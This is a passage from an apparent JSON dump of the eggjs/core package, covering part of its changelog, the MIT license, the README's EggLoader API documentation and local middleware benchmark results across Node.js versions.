[[`613f236`](https://github.com/eggjs/core/commit/613f236fba69f55ca27911d29d81a918c8d67c18)] - docs: fix typo (#147) (m31271n <<m31271n@2players.studio>>)\n- [[`25b728c`](https://github.com/eggjs/core/commit/25b728c41fdf941c97f23a2675b8b82443f28938)] - refactor: warning when the plugin disabled by app is enabled implicitly (#141) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 4.3.0 / 2017-12-13\n\n**features**\n\n- [[`cbcf402`](https://github.com/eggjs/core/commit/cbcf4028055a570c81b26dd39cadcfc548ffefd4)] - feat: support options.serverScope for egg-mock (#143) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.2.2 / 2017-12-12\n\n**fixes**\n\n- [[`b327145`](git@github.com:eggjs/egg-core/commit/b327145d2c6f1328a5d0117186fef218c4b673a7)] - fix: should load router middleware in beforeStart (#139) (Yiyu He <<dead_horse@qq.com>>)\n- [[`187fdec`](git@github.com:eggjs/egg-core/commit/187fdec6c63c22c73716741934771eefb54320a8)] - fix: check whether controller exists (#138) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.2.1 / 2017-12-01\n\n**fixes**\n\n- [[`035098c`](https://github.com/eggjs/core/commit/035098cfca5b20c05a8dde719f0e3995037b9a04)] - fix: adjust implicitly enable logic (#135) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n\n# 4.2.0 / 2017-11-29\n\n**features**\n\n- [[`4979b98`](https://github.com/eggjs/core/commit/4979b984e12cd39516ed1c6df5f1284c8faede2f)] - feat: export controller function's FULLPATH (#131) (#132) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.1.0 / 2017-11-20\n\n**features**\n\n- [[`4bb7472`](git@github.com:eggjs/egg-core/commit/4bb7472b1c2365e5b44d5f7c7f7050cb5915aa75)] - feat: export egg utils (#130) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n\n- [[`a02df89`](git@github.com:eggjs/egg-core/commit/a02df8958f040dc1796dffb0094f535c5c3936e9)] - test: use async function instead of generator function (#128) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.0.0 / 2017-11-08\n\n**others**\n\n- [[`ba0c9b9`](git@github.com:eggjs/egg-core/commit/ba0c9b9e44c57333485e5424b81f047249232232)] - refactor: upgrade to koa@2 and koa-router@7 [BREAKING_CHANGE] (#125) (Yiyu He <<dead_horse@qq.com>>)\n\n# 3.18.0 / 2017-11-08\n\n**features**\n\n- [[`c944f79`](git@github.com:eggjs/egg-core/commit/c944f79cf9c4ec160bb56d97b41fc7d7e2c8d27c)] - feat: export app.options (#127) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 3.17.0 / 2017-11-07\n\n**features**\n\n- [[`08b498f`](git@github.com:eggjs/egg-core/commit/08b498f76ff259ee049c20eb1933c5a294179cc8)] - feat: toAsyncFunction compact with async function (#126) (Yiyu He <<dead_horse@qq.com>>)\n\n# 3.16.0 / 2017-11-06\n\n**features**\n\n- [[`f9b4ae8`](git@github.com:eggjs/egg-core/commit/f9b4ae89b9d0b51a042fe7f80ab0cee184f30445)] - feat: add toPromise and toAsyncFunction (#124) (Yiyu He <<dead_horse@qq.com>>)\n\n# 3.15.1 / 2017-10-29\n\n**others**\n\n- [[`1eaa0c6`](https://github.com/eggjs/core/commit/1eaa0c689aabd650955d0150228d3bd2a3dd8aa9)] - refactor: use utility to read json (#122) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 3.15.0 / 2017-10-20\n\n**features**\n\n- [[`eedfd3d`](https://github.com/eggjs/core/commit/eedfd3d4517f1931f541d0201c3f7d1c2fbf85a3)] - feat: support serverScope (#120) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 3.14.0 / 2017-10-17\n\n**features**\n\n- [[`c2dec90`](https://github.com/eggjs/core/commit/c2dec90b0f942384f62c432d61f4917c55652fd4)] - feat(core): adding support to register inherited methods when loading controllers (#119) (lkspc <<lkspc@qq.com>>)\n\n# 3.13.1 / 2017-09-01\n\n- fix: TypeError when DEBUG=\\* (#112)\n\n# 3.13.0 / 2017-07-24\n\n- feat: controller support params by config (#110)\n- style: spelling mistakes，orginal -> original (#109)\n\n# 3.12.2 / 2017-07-11\n\n- fix: check loader existing before retrieve properties (#108)\n\n# 3.12.1 / 2017-07-05\n\n- fix: should ignore Object.getPrototypeOf check on null/undefined (#107)\n\n# 3.12.0 / 2017-07-05\n\n- feat: generate configMeta (#106)\n- deps: upgrade eslint (#104)\n- docs: fix typo (#103)\n- deps: upgrade dependencies (#102)\n- refactor(plugin): ignore loop when push plugin.default.js (#101)\n\n# 3.11.0 / 2017-06-21\n\n- feat: framework can override getExtendFilePaths (#100)\n\n# 3.10.0 / 2017-06-08\n\n- chore: improve cov (#91)\n- feat: support app.middleware[name] (#98)\n- test: add node 8 (#97)\n\n# 3.9.0 / 2017-05-31\n\n- feat: app timeout support config by env (#94)\n- fix: load class controller should skip getter & setter (#96)\n- refactor: use template literals in lib/utils/index.js (#95)\n\n# 3.8.0 / 2017-05-20\n\n- feat: support load custom file type (#93)\n- chore(documentation): fix typo (#92)\n- test: fix the testcase that is skipped (#89)\n- refactor: change private function name to Symbol from being called outside. (#87)\n- test: skip the failed testcase (#88)\n- refactor: use es6 rest parameter. (#84)\n\n# 3.7.0 / 2017-05-03\n\n- feat(file_loader): support filter options (#86)\n- feat: support custom directory (#85)\n- refact: use es6 default parameter value synax. (#83)\n\n# 3.6.0 / 2017-05-02\n\n- feat: add fullPath property on class instance (#82)\n\n# 3.5.0 / 2017-04-26\n\n- feat(file_loader): ignore option support array in FileLoader (#81)\n- fix: wrong optional dependencies in complex demo (#80)\n\n# 3.4.1 / 2017-04-21\n\n- fix: should support module.exports = function\\*(ctx) {} as a controller (#79)\n\n# 3.4.0 / 2017-04-18\n\n- refactor: export getHomedir that can be extended (#78)\n- feat: expose eggPlugins (#77)\n\n# 3.3.1 / 2017-04-17\n\n- fix: optionally depend on a plugin which is disabled. (#76)\n\n# 3.3.0 / 2017-04-15\n\n- feat: always load extend/xx.unittest.js when run test (#75)\n\n# 3.2.2 / 2017-04-14\n\n- fix: don't replace plugin.default.js when serverEnv is default (#74)\n\n# 3.2.1 / 2017-04-13\n\n- fix: allow extend setter or getter alone (#73)\n\n# 3.2.0 / 2017-04-11\n\n- test: add testcase for appPlugins and customPlugins (#72)\n- fix: find the true callee bebind proxy (#70)\n- feat:expose appPlugins & customPlugins (#68)\n- feat: expose BaseContextClass (#71)\n\n# 3.1.0 / 2017-04-10\n\n- feat: to keep controller function attributes (#69)\n\n# 3.0.1 / 2017-04-10\n\n- fix: ensure deprecate display the right call stack (#67)\n\n# 3.0.0 / 2017-03-07\n\n- feat: [BREAKING_CHANGE] array will be overridden when load config (#64)\n\n# 2.2.0 / 2017-02-27\n\n- fix: improve getPathName (#62)\n- feat: FileLoader support caseStyle (#59)\n- fix: improve require es module (#61)\n\n# 2.1.1 / 2017-02-17\n\n- fix: define egg.Service and egg.Controller in constructor (#58)\n\n# 2.1.0 / 2017-02-15\n\n- feat: load plugin.default.js rather than plugin.js (#57)\n- refactor: seperate router api from app (#55)\n\n# 2.0.1 / 2017-02-15\n\n- fix: context loader cache independent in each request (#54)\n\n# 2.0.0 / 2017-02-10\n\n- feat: [BREAKING_CHANGE] can get error from .ready() (#53)\n- fix: make sure close once (#51)\n- feat: imporve error message of async controller (#52)\n- deps: remove unuse devDeps (#49)\n- feat: [BREAKING_CHANGE] all middleware support async function and common function (#50)\n\n# 1.8.0 / 2017-02-06\n\n- feat: app.beforeStart support async function same as beforeClose (#48)\n- test: fix test on windows (#47)\n- feat: add this.service in BaseContextClass (#46)\n- feat: add this.config in BaseContextClass (#44)\n- fix: execute beforeClose hooks in reverse order (#45)\n\n# 1.7.0 / 2017-01-26\n\n- feat: add app.beforeClose to register close function (#43)\n\n# 1.6.0 / 2017-01-20\n\n- feat: controller support class (#42)\n\n# 1.5.1 / 2017-01-19\n\n- fix: don't assert config.proxy (#41)\n\n# 1.5.0 / 2017-01-17\n\n- feat: plugin support optionalDependencies (#40)\n\n# 1.4.0 / 2017-01-12\n\n- refactor: support config/env instead of config/serverEnv (#37)\n- fix(router): support app.get(url, controllerName) (#38)\n- feat: support app.beforeStart (#39)\n\n# 1.3.3 / 2016-12-28\n\n- test: use assert instead of should\n- refactor: warn only for redefine the same package\n\n# 1.3.2 / 2016-12-08\n\n- fix: distinguish property cache (#35)\n\n# 1.3.1 / 2016-12-03\n\n- fix: router.url can't parse multi params right (#34)\n\n# 1.3.0 / 2016-11-25\n\n- feat: make app middlewares also support enable (#33)\n\n# 1.2.0 / 2016-11-21\n\n- refactor: don't use core middleware when enable = false (#32)\n- feat: core middlewares support enable/match/ignore options (#31)\n\n# 1.1.0 / 2016-11-09\n\n- refactor: extract getAppInfo that can be extend (#30)\n\n# 1.0.1 / 2016-11-07\n\n- chore: add pkg.files (#29)\n\n# 1.0.0 / 2016-11-04\n\n- feat: warn when redefine plugin (#28)\n- refactor: assert eggPath should be string\n\n# 0.6.0 / 2016-10-28\n\n- feat: app support export generator (#26)\n\n# 0.5.0 / 2016-10-24\n\n- feat: app.js/agent.js support async function (#18)\n- feat: add EGG_HOME to getHomedir for test (#25)\n\n# 0.4.0 / 2016-10-24\n\n- feat: support plugin.{env}.js (#20)\n- feat: support {env}.js when load extend (#21)\n- feat: app.close return a promise (#19)\n- feat: [BREAKING_CHANGE] env as prod when EGG_SERVER_ENV undefined & NODE_ENV prod (#24)\n- feat: warning when missing EGG_SERVER_ENV at production (#23)\n- test: fix homedir testcase on Windows (#22)\n\n# 0.3.0 / 2016-10-13\n\n- fix: always get the executor's homedir (#17)\n- doc: Plugable > Pluggable (#16)\n- test: delete type testcase (#15)\n- fix: can't get appConfig in appConfig (#14)\n- feat: add plugin.from where declare the plugin (#13)\n- feat: [BREAKING_CHANGE] remove compatible support loadExtend (#12)\n\n# 0.2.1 / 2016-08-18\n\n- fix: resolve the realpath of plugin path (#11)\n\n# 0.2.0 / 2016-08-17\n\n- feat: improve initializer && export Loader\n\n# 0.1.0 / 2016-08-16\n\n- feat: rename egg-loader to egg-core (#8)\n- refactor: rename to egg-core (#6)\n- doc: proofread readme documentation and correct english terms (#7)\n- refactor API (#5)\n- refactor: implement Loader instead of loading (#4)\n\n# 0.0.3 / 2016-07-30\n\n- test: add testcase (#3)\n- fix: don't print middleware options on start log (#2)\n\n# 0.0.2 / 2016-07-16\n\n- first version\n"
  },
  {
    "path": "packages/core/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/core/README.md",
    "content": "# @eggjs/core\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/core.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/core.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/core\n[snyk-image]: https://snyk.io/test/npm/@eggjs/core/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/core\n[download-image]: https://img.shields.io/npm/dm/@eggjs/core.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/core\n\nA core plugin framework based on [@eggjs/koa](https://github.com/eggjs/koa).\nSupport Commonjs and ESM both by [tshy](https://github.com/isaacs/tshy).\n\n**Don't use it directly, see [egg].**\n\n## Usage\n\nDirectory structure\n\n```bash\n├── package.json\n├── app.ts (optional)\n├── agent.ts (optional)\n├── app\n|   ├── router.ts\n│   ├── controller\n│   │   └── home.ts\n|   ├── extend (optional)\n│   |   ├── helper.ts (optional)\n│   |   ├── filter.ts (optional)\n│   |   ├── request.ts (optional)\n│   |   ├── response.ts (optional)\n│   |   ├── context.ts (optional)\n│   |   ├── application.ts (optional)\n│   |   └── agent.ts (optional)\n│   ├── service (optional)\n│   ├── middleware (optional)\n│   │   └── response_time.ts\n│   └── view (optional)\n|       ├── layout.html\n│       └── home.html\n├── config\n|   ├── config.default.ts\n│   ├── config.prod.ts\n|   ├── config.test.ts (optional)\n|   ├── config.local.ts (optional)\n|   ├── config.unittest.ts (optional)\n│   └── plugin.ts\n```\n\nThen you can start with code below\n\n```ts\nimport { EggCore as Application } from '@eggjs/core';\n\nconst app = new Application({\n  baseDir: '/path/to/app',\n});\napp.ready(() => {\n  app.listen(3000);\n});\n```\n\n## EggLoader\n\nEggLoader can easily load files or directories in your [egg] project.\nIn addition, you can customize the loader with low level APIs.\n\n### constructor\n\n- {String} baseDir - current directory of application\n- {Object} app - instance of egg application\n- {Object} plugins - merge plugins for test\n- {Logger} logger - logger instance，default is console\n\n### High Level APIs\n\n#### async loadPlugin\n\nLoad config/plugin.ts\n\n#### async loadConfig\n\nLoad config/config.ts and config/{serverEnv}.ts\n\nIf `process.env.EGG_APP_CONFIG` is exists, then it will be parse and override config.\n\n#### async loadController\n\nLoad app/controller\n\n#### async loadMiddleware\n\nLoad app/middleware\n\n#### async loadApplicationExtend\n\nLoad app/extend/application.ts\n\n#### async loadContextExtend\n\nLoad app/extend/context.ts\n\n#### async loadRequestExtend\n\nLoad app/extend/request.ts\n\n#### async loadResponseExtend\n\nLoad app/extend/response.ts\n\n#### async loadHelperExtend\n\nLoad app/extend/helper.ts\n\n#### async loadCustomApp\n\nLoad app.ts, if app.ts export boot class, then trigger configDidLoad\n\n#### async loadCustomAgent\n\nLoad agent.ts, if agent.ts export boot class, then trigger configDidLoad\n\n#### async loadService\n\nLoad app/service\n\n### Low Level APIs\n\n#### getServerEnv()\n\nRetrieve application environment variable values via `serverEnv`.\nYou can access directly by calling `this.serverEnv` after instantiation.\n\n| serverEnv | description                            |\n| --------- | -------------------------------------- |\n| default   | default environment                    |\n| test      | system integration testing environment |\n| prod      | production environment                 |\n| local     | local environment on your own computer |\n| unittest  | unit test environment                  |\n\n#### getEggPaths()\n\nTo get directories of the frameworks. A new framework is created by extending egg,\nthen you can use this function to get all frameworks.\n\n#### getLoadUnits()\n\nA loadUnit is a directory that can be loaded by EggLoader, cause it has the same structure.\n\nThis function will get add loadUnits follow the order:\n\n1. plugin\n2. framework\n3. app\n\nloadUnit has a path and a type. Type must be one of those values: _app_, _framework_, _plugin_.\n\n```js\n{\n  path: 'path/to/application',\n  type: 'app'\n}\n```\n\n#### getAppname()\n\nTo get application name from _package.json_\n\n#### appInfo\n\nGet the infomation of the application\n\n- pkg: `package.json`\n- name: the application name from `package.json`\n- baseDir: current directory of application\n- env: equals to serverEnv\n- HOME: home directory of the OS\n- root: baseDir when local and unittest, HOME when other environment\n\n#### async loadFile(filepath)\n\nTo load a single file. **Note:** The file must export as a function.\n\n#### async loadToApp(directory, property, LoaderOptions)\n\nTo load files from directory in the application.\n\nInvoke `this.loadToApp('$baseDir/app/controller', 'controller')`, then you can use it by `app.controller`.\n\n#### async loadToContext(directory, property, LoaderOptions)\n\nTo load files from directory, and it will be bound the context.\n\n```ts\n// define service in app/service/query.ts\nexport default class Query {\n  constructor(ctx: Context) {\n    super(ctx);\n    // get the ctx\n  }\n\n  async get() {}\n}\n\n// use the service in app/controller/home.ts\nexport default async (ctx: Context) => {\n  ctx.body = await ctx.service.query.get();\n};\n```\n\n#### async loadExtend(name, target)\n\nLoader app/extend/xx.ts to target, For example,\n\n```ts\nawait this.loadExtend('application', app);\n```\n\n### LoaderOptions\n\n| Param       | Type              | Description                                                                                                                                                        |\n| ----------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------- |\n| directory   | `String/Array`    | directories to be loaded                                                                                                                                           |\n| target      | `Object`          | attach the target object from loaded files                                                                                                                         |\n| match       | `String/Array`    | match the files when load, default to `**/*.js`(if process.env.EGG\\*TYPESCRIPT was true, default to `[ '\\*\\*/\\_.(js                                                | ts)', '!\\*_/_.d.ts' ]`) |\n| ignore      | `String/Array`    | ignore the files when load                                                                                                                                         |\n| initializer | `Function`        | custom file exports, receive two parameters, first is the inject object(if not js file, will be content buffer), second is an `options` object that contain `path` |\n| caseStyle   | `String/Function` | set property's case when converting a filepath to property list.                                                                                                   |\n| override    | `Boolean`         | determine whether override the property when get the same name                                                                                                     |\n| call        | `Boolean`         | determine whether invoke when exports is function                                                                                                                  |\n| inject      | `Object`          | an object that be the argument when invoke the function                                                                                                            |\n| filter      | `Function`        | a function that filter the exports which can be loaded                                                                                                             |\n\n## Timing\n\nEggCore record boot progress with `Timing`, include:\n\n- Process start time\n- Script start time(node don't implement an interface like `process.uptime` to record the script start running time, framework can implement a prestart file used with node `--require` options to set `process.scriptTime`)\n- `application start` or `agent start` time\n- Load duration\n- `require` duration\n\n### start\n\nStart record a item. If the item exits, end the old one and start a new one.\n\n- {String} name - record item name\n- {Number} [start] - record item start time, default is Date.now()\n\n### end\n\nEnd a item.\n\n- {String} name - end item name\n\n### toJSON\n\nGenerate all record items to json\n\n- {String} name - record item name\n- {Number} start - item start time\n- {Number} end - item end time\n- {Number} duration - item duration\n- {Number} pid - pid\n- {Number} index - item index\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n\n[egg]: https://github.com/eggjs/egg\n"
  },
  {
    "path": "packages/core/benchmark/middleware/README.md",
    "content": "# Benchmark\n\n## Benchmark Result\n\n```sh\nv8.9.0\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     7.35ms    1.76ms  26.71ms   89.82%\n    Req/Sec   835.10     90.14     1.00k    77.15%\n  64366 requests in 10.00s, 47.37MB read\nRequests/sec:   6436.48\nTransfer/sec:      4.74MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     5.35ms    1.27ms  20.44ms   92.48%\n    Req/Sec     1.18k   157.98     1.57k    75.69%\n  90415 requests in 10.00s, 60.08MB read\nRequests/sec:   9040.45\nTransfer/sec:      6.01MB\n```\n\n![](https://user-images.githubusercontent.com/985607/32474444-2f4b7cde-c332-11e7-923f-8dfb709a7a24.png)\n\n### 2022-12-06\n\nEnable asyncLocalStorage\n\n```bash\nv18.12.1\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     2.42ms  584.46us  12.20ms   94.43%\n    Req/Sec     2.50k   601.24    18.36k    97.63%\n  198950 requests in 10.10s, 153.00MB read\nRequests/sec:  19699.09\nTransfer/sec:     15.15MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     1.97ms    1.58ms  43.26ms   96.10%\n    Req/Sec     3.23k     0.86k   24.84k    95.38%\n  257959 requests in 10.10s, 179.02MB read\nRequests/sec:  25533.50\nTransfer/sec:     17.72MB\n\nv16.18.1\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     2.53ms    1.21ms  36.34ms   93.77%\n    Req/Sec     2.44k   372.60     7.16k    91.78%\n  194905 requests in 10.10s, 149.87MB read\nRequests/sec:  19288.29\nTransfer/sec:     14.83MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     1.76ms  405.33us  10.08ms   89.00%\n    Req/Sec     3.43k   264.17     5.94k    85.09%\n  275242 requests in 10.10s, 191.08MB read\nRequests/sec:  27242.76\nTransfer/sec:     18.91MB\n\nv14.21.1\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     4.16ms    2.46ms  39.16ms   91.43%\n    Req/Sec     1.55k   349.54     1.92k    84.88%\n  123307 requests in 10.04s, 94.43MB read\nRequests/sec:  12280.55\nTransfer/sec:      9.40MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     2.88ms    1.38ms  24.43ms   93.97%\n    Req/Sec     2.19k   283.92     2.94k    85.25%\n  174192 requests in 10.01s, 120.54MB read\nRequests/sec:  17395.81\nTransfer/sec:     12.04MB\n\nv12.22.12\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency    11.04ms    9.39ms  75.99ms   91.60%\n    Req/Sec   638.74    167.21     0.90k    63.25%\n  50990 requests in 10.04s, 38.43MB read\nRequests/sec:   5078.85\nTransfer/sec:      3.83MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     7.45ms    7.68ms  69.86ms   93.04%\n    Req/Sec     1.00k   195.80     1.26k    74.50%\n  80059 requests in 10.03s, 54.83MB read\nRequests/sec:   7981.39\nTransfer/sec:      5.47MB\n```\n\nDisable asyncLocalStorage\n\n```bash\nv18.12.1\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     2.22ms    1.18ms  38.70ms   93.88%\n    Req/Sec     2.79k   361.32     3.27k    85.50%\n  222356 requests in 10.01s, 171.13MB read\nRequests/sec:  22208.19\nTransfer/sec:     17.09MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware #14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     1.71ms    0.98ms  33.63ms   94.19%\n    Req/Sec     3.60k   511.38    10.65k    91.28%\n  288119 requests in 10.10s, 200.07MB read\nRequests/sec:  28513.37\nTransfer/sec:     19.80MB\n\nv8.17.0\nserver started at 7001\n------- generator middleware -------\n[\"generator middleware #1\",\"generator middleware #2\",\"generator middleware #3\",\"generator middleware #4\",\"generator middleware #5\",\"generator middleware #6\",\"generator middleware #7\",\"generator middleware #8\",\"generator middleware #9\",\"generator middleware #10\",\"generator middleware #11\",\"generator middleware #12\",\"generator middleware #13\",\"generator middleware #14\",\"generator middleware #15\",\"generator middleware #16\",\"generator middleware #17\",\"generator middleware #18\",\"generator middleware #19\",\"generator middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/generator\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     4.10ms    2.11ms  29.73ms   93.47%\n    Req/Sec     1.53k   241.05     3.74k    84.43%\n  122526 requests in 10.11s, 91.14MB read\nRequests/sec:  12123.93\nTransfer/sec:      9.02MB\n------- async middleware -------\n[\"async middleware #1\",\"async middleware #2\",\"async middleware #3\",\"async middleware #4\",\"async middleware #5\",\"async middleware #6\",\"async middleware #7\",\"async middleware #8\",\"async middleware #9\",\"async middleware #10\",\"async middleware #11\",\"async middleware #12\",\"async middleware #13\",\"async middleware 